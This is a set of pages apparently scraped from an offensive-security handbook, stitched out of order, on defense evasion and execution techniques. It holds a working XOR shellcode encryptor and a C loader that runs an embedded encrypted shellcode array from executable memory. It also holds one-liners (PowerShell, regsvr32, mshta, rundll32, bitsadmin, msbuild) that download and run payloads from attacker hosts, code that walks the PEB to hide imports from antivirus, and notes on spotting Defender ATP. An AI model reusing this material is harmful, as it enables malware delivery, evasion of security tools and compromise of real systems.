(ATA)?MicrosoftLearn](https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) [What is Microsoft Defender Advanced Threat Protection (ATP)?Chorus](https://www.chorus.co/resources/news/what-is-microsoft-defender-advanced-threat-protection-atp) [PreviousImportant Note](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note) [NextLateral Movement](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement) Last updated 5 years ago --- # Encrypting Strings | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/encrypting-strings.md) . Strings are a big indicator of malware and are a big target of most AV's and security products. Here we will make use of encrypting your strings and shellcode to evade detection. We will use XOR encryption to hide our payloads. I have stolen a xor encryptor script from here: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)charlotte/charlotte.py at main · 9emin1/charlotteGitHub](https://github.com/9emin1/charlotte/blob/main/charlotte.py) This takes a shellcode bin file and xor encrypts it with a random key. If you pass your file to this script, you should get a key and your encrypted shellcode in a byte array. To decrypt this, we can use this simple C function in our implants: Example of using this XOR function is: [PreviousBootstrapping](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping) [NextDisabling/Patching Telemetry](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry) Last updated 5 years ago Copy import sys import random import string import os import time def get_random_string(): # With combination of lower and upper case length = random.randint(8, 15) result_str = ''.join(random.choice(string.ascii_letters) for i in range(length)) # print random string return result_str def xor(data): key = get_random_string() l = len(key) output_str = "" for i in range(len(data)): current = data[i] current_key = key[i % len(key)] o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string output_str += chr(o(current) ^ ord(current_key)) ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in output_str) + ' };' print(ciphertext) print(key) try: plain = open(sys.argv[1], "rb").read() except: print("Failed to read payload file") xor(plain) Copy void XOR(char* data, size_t data_len, char* key, size_t key_len) { // https://github.com/9emin1/charlotte/blob/main/template.cpp int j = 0; for (int i = 0; i < data_len; i++) { if (j == key_len - 1) { j = 0; } data[i] = data[i] ^ key[j]; j++; } } Copy #include #include #include #include char shellcode[] = { 0x86, 0x32, 0xda, 0x95, 0xb1, 0xbb, 0x82, 0x4c, 0x77, 0x7a, 0x35, 0x4, 0xe, 0x2a, 0x28, 0x8, 0x27, 0x9, 0x62, 0x90, 0x29, 0x3f, 0xf1, 0x26, 0x35, 0x7, 0xf1, 0x28, 0x41, 0x39, 0xca, 0x1, 0x62, 0x4, 0xfc, 0x8, 0x24, 0x1d, 0x40, 0xcd, 0x30, 0x13, 0x3c, 0x70, 0x9a, 0xa, 0x7d, 0xb7, 0xd6, 0x48, 0x34, 0x33, 0x78, 0x56, 0x79, 0x30, 0x80, 0x9a, 0x4f, 0xd, 0x76, 0xbb, 0x96, 0xb8, 0x1d, 0x3b, 0x2b, 0x11, 0xfa, 0x13, 0x73, 0xc9, 0xe, 0x4b, 0x32, 0x75, 0x85, 0xc4, 0xfa, 0xf2, 0x59, 0x71, 0x41, 0x1b, 0xc7, 0x8c, 0x3, 0x1d, 0x3c, 0x54, 0x9f, 0x2a, 0xf1, 0x11, 0x69, 0x5, 0xd8, 0x2, 0x6c, 0x3e, 0x7b, 0xa4, 0xb6, 0x19, 0x32, 0x85, 0x90, 0x30, 0xca, 0x67, 0xca, 0x4, 0x76, 0xac, 0x39, 0x64, 0x86, 0x32, 0x4b, 0x99, 0xdd, 0x0, 0x92, 0x8b, 0x41, 0x36, 0x7b, 0xb5, 0x6d, 0xaf, 0xf, 0x8b, 0x15, 0x72, 0xd, 0x77, 0x4a, 0x9, 0x4e, 0xab, 0x1, 0x8d, 0x17, 0x3e, 0xf1, 0x19, 0x55, 0x8, 0x52, 0x92, 0x2a, 0x36, 0xf1, 0x78, 0x1d, 0xb, 0xf1, 0x3a, 0x45, 0x38, 0x40, 0x83, 0x3, 0xc7, 0x73, 0xf2, 0x3c, 0x54, 0x9f, 0x3b, 0x22, 0x18, 0x29, 0x1f, 0xa, 0x18, 0xd, 0x2f, 0x3b, 0x2d, 0x14, 0x15, 0x32, 0xf9, 0xb5, 0x51, 0x0, 0x1, 0xbd, 0xac, 0x2f, 0x3b, 0x2d, 0xf, 0x7, 0xf1, 0x68, 0xb0, 0x26, 0xbe, 0xac, 0xbd, 0x11, 0x3f, 0xc0, 0x75, 0x55, 0x4f, 0x7a, 0x7a, 0x59, 0x71, 0x41, 0x1b, 0xcf, 0xc1, 0x76, 0x7b, 0x74, 0x55, 0xe, 0xc0, 0x4b, 0xd2, 0x1e, 0xc6, 0xac, 0x97, 0xf7, 0x97, 0x67, 0x5e, 0x5f, 0xe, 0xc0, 0xdc, 0xcc, 0xcc, 0xdc, 0xac, 0x97, 0x4, 0xf4, 0xbe, 0x5c, 0x69, 0x49, 0x6, 0x70, 0xd9, 0x8a, 0xa1, 0x26, 0x47, 0xf7, 0x30, 0x69, 0x6, 0x3a, 0x25, 0x7a, 0x23, 0x18, 0xf8, 0x9b, 0xac, 0x97, 0x2f, 0x16, 0x16, 0x17, 0x7b, 0x2a, 0x2, 0x1f, 0x59 }; int pay_len = sizeof(shellcode); void XOR(char* data, size_t data_len, char* key, size_t key_len) { // https://github.com/9emin1/charlotte/blob/main/template.cpp int j = 0; for (int i = 0; i < data_len; i++) { if (j == key_len - 1) { j = 0; } data[i] = data[i] ^ key[j]; j++; } } int main(void) { char key[] = "zzYqASBLwztUO"; void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); XOR((char*)shellcode, pay_len, key, sizeof(key)); memcpy(exec, shellcode, sizeof(shellcode)); getchar(); int (*run)() = (int(*)())(void*)exec; run(); return 0; } --- # Execution | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution.md) . [Cool ways of Calling a Process](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/cool-ways-of-calling-a-process) [One Liners](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/one-liners) [PreviousWMI queries from c++](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands/wmi-queries-from-c++) [NextCool ways of Calling a Process](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/cool-ways-of-calling-a-process) Last updated 5 years ago --- # PHP Cheatsheet | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet.md) . * searching for vulnerable shell functions Copy egrep -r --include "*.php" -e "(system|pcntl_exec|passthru|exec|shell_exec|popen|pcntl_exec|proc_open)\(" . * searching for certain vulnerable php execution functions Copy egrep -r --include "*.php" -e "(eval|assert|create_function|preg_replace)\(" . * Useful for XSS. Searching variables that are echoed without htmlspecialchars() Copy egrep -r --include "*.php" -e "echo\s*\\$.*;" . * searching for the back tick operator, used to execute arbitrary shell commands Copy egrep -r --include "*.php" -e "\`.*\`" . * searching for hardcoded credentials Copy egrep -r --include "*.php" -e "(\\$|\->)?(\\[\")?(user|pass|username|password)(\"\\])?\s*=\s*\".*\"" . egrep -r --include "*.php" -e "(mysql_connect|mysqli)\(\s*(\"|\').+(\"|\')\,\s*(\"|\').+(\"|\')\,\s*(\"|\').+(\"|\')" . * potential sql injection instances Copy egrep -r --include "*.php" -e "\->(query|exec)\(\s*\".*\".*\." . * file system access Copy egrep -r --include "*.php" -e "(fopen|fread|fwrite|fclose)\(" . * possible xxe instances, look for the true parameter Copy egrep -r --include "*.php" -e "libxml_disable_entity_loader\(" . [PreviousCode Grepping](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping) [NextWindows Internals](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals) Last updated 3 years ago --- # Cool ways of Calling a Process | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/cool-ways-of-calling-a-process.md) . Copy wmic process call create "\\?\UNC\127.0.0.1\C$\windows\system32\calc.exe" wmic process call create "\\.\GLOBALROOT\??\UNC\127.0.0.1\C$\windows\system32\calc.exe" wmic process call create "\\;lanmanredirector\127.0.0.1\C$\windows\system32\calc.exe" wmic process call create "\\.\globalroot\osdataroot\windows\notepad.exe" [PreviousExecution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution) [NextOne Liners](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/one-liners) Last updated 3 years ago --- # One Liners | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/one-liners.md) . Powershell: Copy powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://attacker.com/payload.txt')|iex" WMI: Copy wmic os get /format:https://evil/payload.xsl” Regsvr32: Copy regsvr32 /u /n /s /i:http://evil/payload.sct scrobj.dll regsvr32.exe /s /n /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll Execute the specified remote .SCT script with scrobj.dll regsvr32.exe /s /u /i:file.sct scrobj.dll Execute the specified local .SCT script with scrobj.dll. regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll MSHTA Copy mshta vbscript:Execute(“GetObject(“”scirpt:Http://evil/file.sct””)”) mshta.exe http:///payload.hta mshta.exe https://malicious.domain/runme.hta Cscript: BITSADMIN: MSbuild: RunDll32 obcdconf(dll renamed to txt) pubprn.vbs [PreviousCool ways of Calling a Process](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/cool-ways-of-calling-a-process) [NextInitial Access](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access) Last updated 5 years ago Copy cscript //E:jscript \\webdav\payload.txt Copy cmd.exe c "bitsadmin transfer myjob download priority high http://ourc2server.com/download/c2agent.exe c:\agent.exe&start agent.exe" bitsadmin /transfer mydownloadjob /download /priority normal http:///xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe Copy msbuild.exe //ip/malicious_code.csproj cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" Copy rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://attacker.com/payload.txt");window.close(); rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" rundll32 \\webdavserver\folder\payload.dll,entrypoint rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); Copy odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} Copy cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct --- # Code Grepping | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping.md) . [PHP Cheatsheet](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet) [PreviousWeb Vulnerabilities](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities) [NextPHP Cheatsheet](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet) Last updated 3 years ago --- # Enumeration | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration.md) . [Situational Awareness](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/situational-awareness) [Recon Commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands) [PreviousUnquoted Service Paths](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths) [NextSituational Awareness](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/situational-awareness) Last updated 5 years ago --- # Windows Internals | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals.md) . [Unorganized Notes](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes) [PreviousPHP Cheatsheet](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet) [NextUnorganized Notes](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes) Last updated 5 years ago --- # Bootstrapping | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping.md) . Before, we used GetModuleHandle and GetProcAddress to find the addresses of functions and call them. It is possible to not call any of these and get the address of the functions like how bootstrappers in shellcode work. This is possible due to the fact that: 1. The PEB address is located at the`GS` register: `GS:[0x60]` 2. `_PEB_LDR_DATA` structure which contains information about the loade modules is located at `$PEB:[0x18]` 3. The loader structure contains a pointer to `InMemoryOrderModuleList` at offset `0x20` 4. `InMemoryOrderModuleList` is a doubly linked list of `LDR_DATA_TABLE_ENTRY` structures, each contains `BaseDllName` and `DllBase` of a single module 5. We can then browser all loaded modules and find kernel32.dll and it's base address 6. with the knowledge of its location in memory, we can find its export directory and browser for the GetProcAddress function 7. We can then use GetProcAddress to find the addresses of other functions Let's open notepad in windbg and see how this works. Let's first get the address of the PEB with: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1uN0kYcShQOs29xZH%252Fimage.png%3Falt%3Dmedia%26token%3D720eb957-8894-4e2c-85f1-32e1eaf8d500&width=768&dpr=3&quality=100&sign=aec00185&sv=2) And then overlay the PEB structure to the memory pointed to be peb to see the what the structures members are holding/pointing to: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1ule3Pdd1XM6zIXn7%252Fimage.png%3Falt%3Dmedia%26token%3D7b0718d6-7a30-4331-a217-178737a7a88e&width=768&dpr=3&quality=100&sign=2590b586&sv=2) The field we are interested in is the Ldr field: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1uzCgU9MgfvC-ZSxL%252Fimage.png%3Falt%3Dmedia%26token%3D76f23de1-868f-497c-82d0-8a9ff1fee9ac&width=768&dpr=3&quality=100&sign=eba8bf9f&sv=2) Lets click in the highlighted Ldr, which should take you to a structure called PEB\_LDR\_DATA: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1vCpsWpd6ri2x9sNK%252Fimage.png%3Falt%3Dmedia%26token%3Def77a3ee-52c6-4f04-86f6-036bf525cc42&width=768&dpr=3&quality=100&sign=f0a91a03&sv=2) We then have 3 lists listed in the structure, we are interested in the second called, "InMemoryOrderModuleList". Let's click the highlighted name: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1vVp3nW5Mkjn_FhHU%252Fimage.png%3Falt%3Dmedia%26token%3D567dc642-be37-4020-a6a6-34ce09b3f83b&width=768&dpr=3&quality=100&sign=39d5ba3b&sv=2) And we see that its a double linked list, this is a chain of pointers which points backwards and forwards to structures. This will loop, meaning if we parse the pointers going from structure to structure, we will end up going back to where we started. To parse this, we can use the LDR DATA TABLE ENTRY structure to do so: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1w-MPSUUbuH5TXxlH%252Fimage.png%3Falt%3Dmedia%26token%3Dc63c374f-04ff-49cf-813d-362442f37c44&width=768&dpr=3&quality=100&sign=ceeed2ad&sv=2) And now lets issue the following command in windbg ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1wGghoIdSNBZ9AqOc%252Fimage.png%3Falt%3Dmedia%26token%3D1c4ba531-32b8-4544-bc3f-52af3420f3e0&width=768&dpr=3&quality=100&sign=55442624&sv=2) The most important thing about this structure is the DllBase field in which we will see later on. Lets now take the Flink address of the LIST ENTRY structure and parse that in the LDR DATA TABLE ENTRY structure ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1x0JwVEshVRLwLV6e%252Fimage.png%3Falt%3Dmedia%26token%3Dae4bd95d-49de-45f2-aa93-4a0bb564e78c&width=768&dpr=3&quality=100&sign=5dfbb5ff&sv=2) Now, lets click the hext highlighted flink address, copy that address and parse it like how we did in the above: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1xV8_cjrtP8q4dA5h%252Fimage.png%3Falt%3Dmedia%26token%3De4decbb1-bc2e-43bc-a154-017c59705af5&width=768&dpr=3&quality=100&sign=88d2e793&sv=2) As we can see, the FullDllName field holds the string, "ntdll.dll" ... If we keep on getting the flink addreses, and parsing it through this structure, we will eventually get back to the first structure which in our case had the FullDllName to be "notepad.exe". The above showed us how to parse through the PEB and get the DllBase addresses of the modules. We can also see a pointer to the PEB in the TEB structure like so(which is located at offset 0x060): ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh1t8UOEbB6L3L8BIIy%252F-Mh1yNJfRP2qaqhQBTog%252Fimage.png%3Falt%3Dmedia%26token%3D05d26d8a-fbc6-4230-82fa-eca52fe891e8&width=768&dpr=3&quality=100&sign=c5d2a0b4&sv=2) Note that if is 32 bit, it would be at offset 30, but since we are using 64 bit, the offset is 60. Lets make a code implementation of the above. The above code retrieves a pointer to the PEB by retrieving what's at offset 0x60 from the gs register. Note that it is offset 0x30 for 32 bit and we read from the fs register instead of the gs register. We store the address of PEB at ProcEnvBlk. We can then start parsing the structures to search for memory addresses and such. The above stores pointer to the necessary data structures we are going to use to resolve the address of the functions. The above iterates though all entries of the double linked list and compares the BaseDLLName to kernel32.dll, if it matches, it will assign kernel32Address to the DLLBase address of the dll. After we get our dll base address, we will have to find its export directory, we will use some pointer arithmetic to get pointers to certain data structures. 1. We find ImageDosHeader from the base address 2. With a pointer to the DosHeader, we can then find the e\_lfanew field which stores the RVA address of NtHeader, we then add that to the Base address to find its actual location in memory 3. With a pointer to NtHeader, we can find OptionalHeader 4. With the OptionalHeader, we can find the DataDirectory which holds a pointer to the export directory's virtual address, we then add that to the base address to find its actual location in memory 5. We then get the pointer to the EAT's 6. 1. AddressOfFunctions 2. AddressOfNames 3. AddressOfNameOrdinals We will then go through the Export directory using a for loop, and compare their function names extracted from the table with GetProcAddress and GetModulehandle. Here, we get the function's virtual address by adding the RVA and the base address of the function and store it in a pointer if the comparison succeeds. Now that we have the addresses of the GetModuleHandle and GetProcAddress functions, we can use them to call any function we want. Lets do this by calling VirtualAlloc: Conclusion[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping#conclusion) --------------------------------------------------------------------------------------------------------------------------------------------- This was a simple lab which showed you how to call functions without GetProcAddress, GetModuleHandle or the actual function showing up in the import table by using the PEB structure. Resources[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping#resources) ------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fabs.twimg.com%2Ffavicons%2Ftwitter.3.ico&width=20&dpr=3&quality=100&sign=417f7fb2&sv=2)Patryk Czeczko (@0xPat) on XX](https://twitter.com/0xPat) [PreviousObfuscating Imports](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports) [NextEncrypting Strings](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/encrypting-strings) Last updated 5 years ago * [Conclusion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping#conclusion) * [Resources](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping#resources) Copy typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR); typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR); (in main) #ifdef _M_IX86 PEB * ProcEnvBlk = (PEB *) __readfsdword(0x30); #else PEB * ProcEnvBlk = (PEB *)__readgsqword(0x60); #endif Copy PPEB_LDR_DATA pLoaderData = pPEB->Ldr; PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList; PLIST_ENTRY listCurrent = listHead->Flink; PLIST_ENTRY * listOfModules = NULL; Copy for (LIST_ENTRY * pListEntry = listCurrent; pListEntry != listOfModules; pListEntry = pListEntry->Flink) { LDR_DATA_TABLE_ENTRY * pEntry = (LDR_DATA_TABLE_ENTRY *) ((BYTE *) pListEntry - sizeof(PLIST_ENTRY)); LPCSTR dllName = (LPCSTR)pEntry->BaseDllName.Buffer; CharUpperA(dllName); if (lstrcmpiW(dllName, "KERNEL32.DLL") { kernel32Address = (HMODULE) pEntry->DllBase; // if making function, return this, but if not, break here } } Copy PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew); PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader); PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions); PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames); PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals); Copy for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i) { PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]); if (!strcmp(pFunctionName, "GetModuleHandleA")) { pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]); } if (!strcmp(pFunctionName, "GetProcAddress")) { pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]); } } Copy typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD); HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll"); PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)pGetProcAddress(hKernel32, "VirtualAlloc"); PVOID *exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); --- # Web Vulnerabilities | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities.md) . [Code Grepping](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping) [PreviousVulnerability Discovery](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery) [NextCode Grepping](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping) Last updated 3 years ago --- # Identification | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying.md) . ATP[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying#atp) ---------------------------------------------------------------------------------------------------------- To detect if Windows ATP is running on the machine: **Process** `MsSense.exe` **Service** Copy PS C:\> Get-Service Sense ​C:\> sc query sense Display Name: `Windows Defender Advanced Threat Protection Service` Name: `Sense` **Registry** `HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection` **File Paths** `C:\Program Files\Windows Defender Advanced Threat Protection\` ASR Rules are stored here: Copy HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager\ Rule name GUID File & folder exclusions Minimum OS supported ​[Block executable content from email client and webmail](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-content-from-email-client-and-webmail) ​ `BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block all Office applications from creating child processes](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-all-office-applications-from-creating-child-processes) ​ `D4F940AB-401B-4EFC-AADC-AD5F3C50688A` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block Office applications from creating executable content](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-applications-from-creating-executable-content) ​ `3B576869-A4EC-4529-8536-B80A7769E899` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block Office applications from injecting code into other processes](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-applications-from-injecting-code-into-other-processes) ​ `75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block JavaScript or VBScript from launching downloaded executable 